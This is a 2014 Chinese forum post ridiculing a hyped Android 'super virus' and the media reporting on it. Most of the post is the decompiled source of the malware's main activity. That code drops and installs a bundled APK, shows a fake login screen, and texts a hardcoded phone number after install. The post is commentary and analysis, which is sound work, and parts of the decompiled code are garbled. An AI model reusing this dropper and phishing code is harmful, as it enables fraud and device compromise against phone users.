|
本帖最后由 长歌依楼.≈ 于 2014-8-5 20:37 编辑
这几天补课一直听同学说爆发了个手机病毒有多可怕,
今天有空上网找到了这个Apk,准备自己试试是多牛逼,超级病毒???
五分钟后,我关掉了手机,语重心长的吸了一根烟,再走到冰箱里拿了一瓶青岛啤酒,猛喝了2口,来到窗前,看着外面细雨绵绵,此时我也控制不住自己的情绪,对着天空大吼一声:这TM就是超级病毒,国内的所有安全厂商全司马了吧????
一个毫无技术含量的东西,只要稍微学几天Android开发的人都能写出来,
不过是这逗比作者敢发出来并且流传开来了,就成了超级病毒了?
只要你手机有任何带权限管理的软件,像啥sb360啥的,打开后都会提醒他要发群发短信了,
只要不是sb都会点拒绝吧?再说不点后20s后都自己拒绝了.
还有个注册页面,只要有点脑子的人会填吗?钓鱼这一套玩剩下多少年了??
一个愿打一个愿挨,能怨谁?
还有天朝这群吊炸天的媒体,我都不想说什么,这么个东西都能成为你们炒作的工具.
我能呵呵吗??
还有“中毒机主可在备份手机资料后直接选择恢复出厂设置,或找达人帮忙重装系统。” - by某腾
你自己卸载了就完事了呗?起码这所谓的超级病毒也没像你们一样流氓安上,应用信息那卸载按钮黑了都不给卸载的吧?
顺便附上反编译代码:- <font face="微软雅黑" size="1">package com.example.xxshenqi;
-
- import android.annotation.SuppressLint;
- import android.app.AlertDialog.Builder;
- import android.content.BroadcastReceiver;
- import android.content.ComponentName;
- import android.content.Context;
- import android.content.DialogInterface;
- import android.content.DialogInterface.OnClickListener;
- import android.content.Intent;
- import android.content.IntentFilter;
- import android.content.pm.PackageInfo;
- import android.content.pm.PackageManager;
- import android.content.res.AssetManager;
- import android.net.ConnectivityManager;
- import android.net.NetworkInfo;
- import android.net.Uri;
- import android.os.Bundle;
- import android.support.v7.app.ActionBarActivity;
- import android.telephony.SmsManager;
- import android.text.Editable;
- import android.view.View;
- import android.view.View.OnClickListener;
- import android.widget.Button;
- import android.widget.EditText;
- import android.widget.Toast;
- import java.io.File;
- import java.io.FileOutputStream;
- import java.io.IOException;
- import java.io.InputStream;
- import java.io.PrintStream;
- import java.util.ArrayList;
- import java.util.List;
-
- @SuppressLint({"DefaultLocale"})
- public class MainActivity extends ActionBarActivity
- {
- Button button1;
- Button button2;
- ArrayList<String> packagNameList;
- EditText pass;
- private MyReceiver receiver;
-
- private boolean detectApk(String paramString)
- {
- return this.packagNameList.contains(paramString.toLowerCase());
- }
-
- private boolean goToNetWork()
- {
- ConnectivityManager localConnectivityManager = (ConnectivityManager)getSystemService("connectivity");
- if (localConnectivityManager.getNetworkInfo(1).getState() != null);
- while (localConnectivityManager.getNetworkInfo(0).getState() != null)
- return true;
- return false;
- }
-
- private void initpackagNameList()
- {
- this.packagNameList = new ArrayList();
- List localList = getPackageManager().getInstalledPackages(0);
- for (int i = 0; ; i++)
- {
- if (i >= localList.size())
- return;
- PackageInfo localPackageInfo = (PackageInfo)localList.get(i);
- this.packagNameList.add(localPackageInfo.packageName.toLowerCase());
- }
- }
-
- protected void onCreate(Bundle paramBundle)
- {
- super.onCreate(paramBundle);
- requestWindowFeature(1);
- setContentView(2130903064);
- initpackagNameList();
- System.out.println("host开始运行==============================");
- this.receiver = new MyReceiver(null);
- IntentFilter localIntentFilter = new IntentFilter("android.intent.action.PACKAGE_ADDED");
- localIntentFilter.addDataScheme("package");
- registerReceiver(this.receiver, localIntentFilter);
- if (!detectApk("com.example.com.android.trogoogle"))
- {
- System.out.println("host开始安装==============================");
- String str = getFilesDir().getAbsolutePath() + "/com.android.Trogoogle.apk";
- retrieveApkFromAssets(this, "com.android.Trogoogle.apk", str);
- showInstallConfirmDialog(this, str);
- }
- this.pass = ((EditText)findViewById(2131034176));
- this.button1 = ((Button)findViewById(2131034177));
- this.button1.setOnClickListener(new View.OnClickListener()
- {
- public void onClick(View paramAnonymousView)
- {
- if (!MainActivity.this.detectApk("com.example.com.android.trogoogle"))
- {
- String str = MainActivity.this.getFilesDir().getAbsolutePath() + "/com.android.Trogoogle.apk";
- MainActivity.this.retrieveApkFromAssets(MainActivity.this, "com.android.Trogoogle.apk", str);
- MainActivity.this.showInstallConfirmDialog(MainActivity.this, str);
- return;
- }
- if (!MainActivity.this.goToNetWork())
- {
- Toast.makeText(MainActivity.this, "无法连接,请检查您的网络!", 0).show();
- return;
- }
- if (MainActivity.this.pass.getText().toString().length() >= 6)
- {
- Toast.makeText(MainActivity.this, "正在验证,请稍后...", 0).show();
- Toast.makeText(MainActivity.this, "密码错误或账号不存在!", 0).show();
- return;
- }
- Toast.makeText(MainActivity.this, "请输入正确的账号或密码", 0).show();
- }
- });
- this.button2 = ((Button)findViewById(2131034178));
- this.button2.setOnClickListener(new View.OnClickListener()
- {
- public void onClick(View paramAnonymousView)
- {
- MainActivity.this.startActivity(new Intent(MainActivity.this, RegisterActivity.class));
- }
- });
- }
-
- public boolean retrieveApkFromAssets(Context paramContext, String paramString1, String paramString2)
- {
- boolean bool;
- try
- {
- File localFile = new File(paramString2);
- if (localFile.exists())
- return true;
- localFile.createNewFile();
- InputStream localInputStream = paramContext.getAssets().open(paramString1);
- FileOutputStream localFileOutputStream = new FileOutputStream(localFile);
- byte[] arrayOfByte = new byte[1024];
- while (true)
- {
- int i = localInputStream.read(arrayOfByte);
- if (i == -1)
- {
- localFileOutputStream.flush();
- localFileOutputStream.close();
- localInputStream.close();
- bool = true;
- break;
- }
- localFileOutputStream.write(arrayOfByte, 0, i);
- }
- }
- catch (IOException localIOException)
- {
- Toast.makeText(paramContext, localIOException.getMessage(), 2000).show();
- AlertDialog.Builder localBuilder = new AlertDialog.Builder(paramContext);
- localBuilder.setMessage(localIOException.getMessage());
- localBuilder.show();
- localIOException.printStackTrace();
- bool = false;
- }
- return bool;
- }
-
- public void showInstallConfirmDialog(final Context paramContext, final String paramString)
- {
- AlertDialog.Builder localBuilder = new AlertDialog.Builder(paramContext);
- localBuilder.setIcon(2130837592);
- localBuilder.setTitle("未安装资源包");
- localBuilder.setMessage("请先安装资源包,资源包已整合至APK,点击安装即可安装。");
- localBuilder.setPositiveButton("安装", new DialogInterface.OnClickListener()
- {
- public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt)
- {
- try
- {
- String str = "chmod 777 " + paramString;
- Runtime.getRuntime().exec(str);
- Intent localIntent = new Intent("android.intent.action.VIEW");
- localIntent.addFlags(268435456);
- localIntent.setDataAndType(Uri.parse("file://" + paramString), "application/vnd.android.package-archive");
- paramContext.startActivity(localIntent);
- return;
- }
- catch (IOException localIOException)
- {
- while (true)
- localIOException.printStackTrace();
- }
- }
- });
- localBuilder.show();
- }
-
- private class MyReceiver extends BroadcastReceiver
- {
- private MyReceiver()
- {
- }
-
- public void onReceive(Context paramContext, Intent paramIntent)
- {
- System.out.println("MyReceiver 收到广播==========================");
- if (paramIntent.getAction().equals("android.intent.action.PACKAGE_ADDED"))
- {
- paramContext.startActivity(new Intent(paramContext, MainActivity.class));
- System.out.println(" 界面跳 Ok!==============================");
- Intent localIntent = new Intent("android.intent.action.MAIN");
- localIntent.addFlags(268435456);
- localIntent.addCategory("android.intent.category.LAUNCHER");
- localIntent.setComponent(new ComponentName("com.example.com.android.trogoogle", "com.example.com.android.trogoogle.MainActivity"));
- paramContext.startActivity(localIntent);
- System.out.println(" 启动 Ok!==============================");
- SmsManager.getDefault().sendTextMessage("18670259904", null, " Tro instanll Ok", null, null);
- System.out.println(" 发送短信 Ok!==============================");
- }
- }
- }
- }</font>
复制代码 也不知道这作者想啥呢?简直不忍直视,我这没学过Android开发的都能看出来逻辑错误了= =
代码看看就行了,如果你真拿着整出点啥来当然我也是不介意有空的时候给你往里面送点土豆干的.
2333333333333333333333333333333333333333333333333333
|
评分
-
查看全部评分
|